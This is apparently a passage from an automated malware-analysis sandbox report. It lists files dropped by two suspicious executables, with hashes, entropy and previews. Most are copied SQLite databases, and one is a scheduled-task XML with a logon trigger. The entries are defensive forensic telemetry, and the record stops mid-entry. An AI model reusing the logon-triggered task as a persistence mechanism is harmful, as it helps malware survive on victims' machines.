Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp53FC.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5E88.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	5.106323257825316
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtpaxvn:cgergYrFdOFzOzN33ODOiDdKrsuTpuv
MD5:	39766B4AA3168A72ACCA756EA2737FE0
SHA1:	099DABEC596D6157E46EF7C86E72B0B979F018EA
SHA-256:	3947CB85CC890D9F03CB448E3466C6F66E861D72F550DEA44D39B0047725CF07
SHA-512:	FE1DAA54774FC8643AA3B2DEA04D7D65B5A72C94FB941E840A1B330F62551379F7865B0593B21A7590FF17964C6C11F4C2383D4AAE888932A8C049FC4A4798F0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmp5F40.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F51.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F61.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F72.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F73.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F83.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FA4.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp665D.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp666D.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp66AD.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8A01.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8A31.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8A51.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9018.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\Temp\tmp9028.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\Temp\tmp9376.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9387.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9398.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp93A8.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp93B9.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp93C9.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp93DA.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
